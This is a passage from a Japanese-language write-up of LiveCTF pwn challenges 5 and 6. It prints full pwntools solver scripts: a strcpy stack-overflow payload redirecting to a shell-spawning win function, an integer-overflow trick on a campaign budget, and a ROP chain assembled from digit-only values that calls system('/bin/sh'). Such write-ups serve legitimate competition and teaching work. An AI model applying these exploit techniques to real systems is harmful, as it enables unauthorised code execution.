    elf_name = secrets.token_hex(16)
    with open(elf_name, "wb") as fout:
        fout.write(elf_bytes)
    subprocess.run(["chmod", "777", elf_name], capture_output=True, text=True)
    user_password = solve_one(elf_name)
    print(f"{user_password = }")
    io.sendlineafter(b"Password", user_password.encode())
io.interactive()  # 最後のフラグを表示させる

LiveCTF 5: Multi-Level Model Marketing (misc/pwn)

本問題は次の形式です。

  • pwn ジャンルであるため、任意コード実行を通じて ./submitter プログラムを実行する必要があります。
  • amd64 ELF バイナリがリモート環境で動作しています。なお、後述する感情計算には別ファイルの Python コードを実行します。
  • バイナリ内容は CUI 形式のゲームのようなものです。バイナリ解析で判明した内容は次のものです。
    • Agent を雇い、 Product を購入し、 Campaign を打って収益を得ます。
    • Campaign にはキーワードを最大 5 個設定できます。設定したキーワードを元に、何らかの学習結果モデル SentimentIntensityAnalyzer が感情を計算し、計算結果に応じた利益が得られます。
    • 10日 以内に所持金を 50000 以上にすると、スコアを登録できます。
  • 本 LiveCTF 開始から約 90 分後に公式からアナウンスがなされました。「ソルバー提出時を含むオフライン環境において欠陥が見つかりましたが、 solvable でありかつ正解チームが実際出ているため、このまま続行する」旨とのことです。実際、オフライン環境では肝心の SentimentIntensityAnalyzer による感情スコア計算時にModuleNotFoundError が発生しており、 Campaign の利益が 0 固定になるようです。

まず、本問題は pwn ジャンルです。そのため何かしらの脆弱性が存在するはずです。構造体を多用しているバイナリを読み進めていると、スコア登録時にスタックバッファオーバーフローが発生することを見つけました。

void __fastcall add_high_score(Player *pPlayer)
{
  char dest[40]; // [rsp+10h] [rbp-30h] BYREF
  int i; // [rsp+38h] [rbp-8h]
  int v3; // [rsp+3Ch] [rbp-4h]

  if ( pPlayer->dwSomeCount_ShouldBe4_ToBoF_WhenAddHighSore == 4 )
  {
    puts(
      "\n"
      "╔═══════════════════════════════════════════════════════════════╗");
    puts("║                 CONGRATULATIONS, PLATINUM RANK!                ║");
    puts("║           Your MLM empire has reached the highest tier!        ║");
    puts(
      "╚═══════════════════════════════════════════════════════════════╝\n");
    printf("Your final score: $%d in %d days\n", pPlayer->dwMoney, pPlayer->dwDay_SeedForNewClients);
    strcpy(dest, pPlayer->strNameSize128); // ここでBoFが発生
    // snip
  }
}

ゲーム起動時に入力するプレイヤー名は最大 127 文字まで入力できます。しかしスコア登録時は char[40] のローカル変数へ strcpy 関数でコピーしているため、戻りアドレスを書き換えられます。

またチームメンバーが、バイナリは No PIE でありかつ stack canary は存在しないこと、およびバイナリ中に win 関数が存在していることを突き止めてくれました。

int win()
{
  return system("/bin/sh");
}

そのため、プレイヤー名に win 関数のアドレスを含めておいて、スコア登録時にリターンアドレスを win 関数のアドレスへ改ざんしてやると、シェルを起動できて任意コードを実行できます。

さて、前述した通り、スコア登録処理へ進むためには所持金を 50000 以上にする必要があります。 Campaign による利益が得られないため、正攻法ではまず達成不可能です。試行錯誤していると次のことに気付きました。

  • Campaign には予算パラメーターが存在します。どうやら int32_t 型で管理されているようです。
  • Campaign の新規作成時は「予算は、 0 以上、現在所持金以下であること」を検証しています。しかし作成済みの Campaign の予算を変更する際は、負の値も設定できます。
  • 試すと、「予算を -21 億に設定」した後は「予算を +21 億に設定」が成功します。おそらくどこかで整数オーバーフローが発生しているのだと思います。
  • 予算が +21 億に設定された Campaign が存在する状況で日を進めると、大金を取得できてスコア登録に進めます。

最終的に上記判明事項をソルバーとして実装、提出することで正解できました。なお実装途中は正攻法でスコアを増やそうとしていたため、最終的には不要になった操作も含まれます。

#!/usr/bin/env python3

from pwn import *

context.log_level = "CRITICAL"

context.arch = "amd64"
addr_win = 0x4015EA
player_name = b"A" * (40 + 4 + 4 + 8) + pack(addr_win)
# player_name = b"player_name" * 32

HOST = os.environ.get("HOST", "localhost")
PORT = 31337


io = remote(HOST, int(PORT))

DUMP = 0


def CLEAN_AND_PRINT(received: bytes):
    # received += io.clean(timeout=0)
    if DUMP:
        print(received.decode())


def SEND_LINE_AFTER(delim: bytes, data: bytes):
    received = io.recvuntil(delim)
    CLEAN_AND_PRINT(received)
    io.sendline(data)


def RECV_LINE_CONTAINS(items: bytes):
    received = io.recvline_contains(items)
    CLEAN_AND_PRINT(received)
    return received


def RECV_LINE() -> bytes:
    received = io.recvline()
    if DUMP:
        print(received.decode())
    return received


SEND_LINE_AFTER(b"Enter your name:", player_name)

# 最高のregionを確認
SEND_LINE_AFTER(b"Choice: ", b"9")
SEND_LINE_AFTER(b"Enter debug password:", b"mlm_debug_2025")
SEND_LINE_AFTER(b"Choice: ", b"1")
RECV_LINE_CONTAINS(b"----------|-----------|-----------")


def get_best_region_index() -> int:
    l = []
    for i in range(5):
        line = RECV_LINE().decode()
        line_splitted = line.split("|")
        # print(f"{line = }")
        assert len(line_splitted) == 3
        name = line_splitted[0]
        risk = float(line_splitted[1])
        reward = float(line_splitted[2])
        l.append((i, risk, reward))
    l.sort(key=lambda t: t[2], reverse=True)
    return l[0][0] + 1  # 1-indexed


best_region_index = get_best_region_index()
print(f"{best_region_index = }")


# Product購入

SEND_LINE_AFTER(b"Choice: ", b"C")
RECV_LINE_CONTAINS(
    "╚═══════════════════════════════════════════════════════════════╝".encode()
)


def buy_best_product():
    l = []
    for i in range(6):
        RECV_LINE()
        item = RECV_LINE().decode()
        RECV_LINE()
        RECV_LINE()

        cost = int(item.split("Cost: $")[1].split()[0])
        suggested_prices = int(item.split("Suggested Sale Price: $")[1].split()[0])
        risk_factor = int(item.split("Risk Factor: ")[1])
        l.append((i, cost - suggested_prices, risk_factor))

    m = min(*l, key=lambda item: (item[1], item[2]))
    best_index = m[0]
    SEND_LINE_AFTER(
        b"Would you like to acquire a product for your MLM? (1-6, 0 to cancel):",
        str(best_index + 1).encode(),
    )


buy_best_product()


# Agent雇い
SEND_LINE_AFTER(b"Choice: ", b"D")
SEND_LINE_AFTER(b"Choice: ", b"H")
SEND_LINE_AFTER(b"Enter agent name:", b"awasome person")
SEND_LINE_AFTER(b"Choice: ", b"X")

# 残高確認
line = RECV_LINE_CONTAINS(b"| MONEY: $").decode()
money = int(line.split("| MONEY: $")[1].split(" ")[0])
print(f"{money = }")

# Campiagn
SEND_LINE_AFTER(b"Choice: ", b"A")
SEND_LINE_AFTER(b"Choice: ", b"C")
SEND_LINE_AFTER(b"Enter campaign name:", b"excellent miracle campaign")
SEND_LINE_AFTER(b"Enter campaign budget:", str(money).encode())
SEND_LINE_AFTER(b"Region:", str(best_region_index).encode())
SEND_LINE_AFTER(b"Choice: ", b"1")  # 最後に勝ったものがいいはず
SEND_LINE_AFTER(b"Agent ID: ", b"1")  # 最後に勝ったものがいいはず
SEND_LINE_AFTER(b"Keyword 1:", b"AwesomeFantastic")
SEND_LINE_AFTER(b"Keyword 2:", b"AwesomeFantastic")
SEND_LINE_AFTER(b"Keyword 3:", b"AwesomeFantastic")
SEND_LINE_AFTER(b"Keyword 4:", b"AwesomeFantastic")
SEND_LINE_AFTER(b"Keyword 5:", b"AwesomeFantastic")

# 予算をオーバーフローさせたい
SEND_LINE_AFTER(b"Choice: ", b"E")
SEND_LINE_AFTER(b"Which campaign would you like to edit? (0 to cancel):", b"1")
SEND_LINE_AFTER(b"Edit campaign budget", b"-2100000000")
SEND_LINE_AFTER(b"Would you like to change the agent?", b"n")
SEND_LINE_AFTER(b"Would you like to change the product?", b"n")

SEND_LINE_AFTER(b"Choice: ", b"E")
SEND_LINE_AFTER(b"Which campaign would you like to edit? (0 to cancel):", b"1")
SEND_LINE_AFTER(b"Edit campaign budget", b"2100000000")
SEND_LINE_AFTER(b"Would you like to change the agent?", b"n")
SEND_LINE_AFTER(b"Would you like to change the product?", b"n")

SEND_LINE_AFTER(b"Choice: ", b"X")

# 次の日
SEND_LINE_AFTER(b"Choice: ", b"N")

# シェルが取れているのでsubmitter起動
SEND_LINE_AFTER(
    b"You've mastered the art of Multi-Level Model Marketing!", b"./submitter"
)

io.interactive("")

LiveCTF 6: No F In the Stack (pwn)

本問題は次の形式です。

  • pwn ジャンルであるため、任意コード実行を通じて ./submitter プログラムを実行する必要があります。
  • amd64 ELF バイナリがリモート環境で動作します。バイナリ内容は次のように非常に単純な内容です。
int __fastcall main()
{
  char printed_addr[16]; // [rsp+20h] [rbp-40h] BYREF
  uintptr_t addr; // [rsp+38h] [rbp-28h] BYREF
  uintptr_t stack[3]; // [rsp+40h] [rbp-20h] BYREF
  int i; // [rsp+5Ch] [rbp-4h]

  init();    // stdout, stderrのバッファリング無効化
  for ( i = 0; i <= 999; ++i )
  {
    printf("Addr pls: ");
    addr = 0;
    _isoc23_scanf("%lu", &addr);
    if ( !addr )
      break;
    memset(printed_addr, 0, sizeof(printed_addr));
    sprintf(printed_addr, "%lu", addr);
    _isoc23_sscanf(printed_addr, "%lx", &stack[i]);    // BoF
    if ( !stack[i] )
      break;
  }
  return 0;
}

すなわちスタックの一定範囲までを、 16 進数表記で 0 ~ 9 のみである任意の値へ設定できます。例えば 0x401917 という値へ設定できます。

バイナリは No PIE であり、かつ main 関数には stack canary が存在しないため、戻りアドレスを変更して ROP できます。また glibc が static link されているため、多様な ROP ガジェットが存在します。

チームメンバーと、使用可能な ROP ガジェットの洗い出しや、シェル起動までの道筋を議論していきました。最終的にチームメンバーが、 0x4A04F9 にある /bin/sh のアドレスを複数回の加算で作り出す方法でシェル起動に成功しました。提出したソルバーです(提出内容からコメントを編集しています)。

#!/usr/bin/env python3

from pwn import *

HOST = os.environ.get('HOST', 'localhost')
PORT = 31337

io = remote(HOST, int(PORT))

def set_value(value: int):
    io.sendlineafter(b"Addr pls: ", str(value).encode())


value_list = [
    42,  # stack[0]、未使用
    42,  # stack[1]、未使用
    42,  # stack[2]、未使用
    3_0000_0000,  # i
    42,  # saved rbp、未使用
    # 以降ROP内容
    402218, #pop rdi ; pop rbp ; ret
    400900, #rdi用
    401917, #rbp用、未使用
    426497, #rol bl, 1 ; mov rax, rdi ; ret
    # ここでraxは0x400900を指す。そのアドレスは読み込み可能で、かつ内容は0。後の add eax, dword ptr [rax] がnopになる。
    402218, #pop rdi ; pop rbp ; ret
    490499, # rdi用
    42, #rbp用、未使用
    402216, #pop rsi ; pop r15 ; pop rbp ; ret
    10000, #rsi用
    42, #r15用、未使用
    42, #rbp用、未使用
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    # 現時点でrdiは4A0499
    402216, #pop rsi ; pop r15 ; pop rbp ; ret
    10, #rsi用
    42, #r15用、未使用
    42, #rbp用、未使用
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    493943, #add edi, esi ; add eax, dword ptr [rax] ; ret
    # 現時点でrdiは4904F9、"/bin/sh"のアドレス
    401917, #call system
    # 401840,  # 0x0000000000401840 : ret
    0, #main関数のループ打ち切り用
]

for value in value_list:
    set_value(value)

io.sendline(b'ls -al')
io.sendline(b'./submitter')
io.interactive()

io.interactive()

おわりに

最終的に数多くの問題が出題されている状況で、かつ各問題の詳細が分からないため取り組むハードルが高い中、チームメンバーが協力しあって活躍してくれました!また現地会場では対面で相談しながら進められることもあり、効率的かつ楽しく参加できました。取り組まれた皆様お疲れ様でした!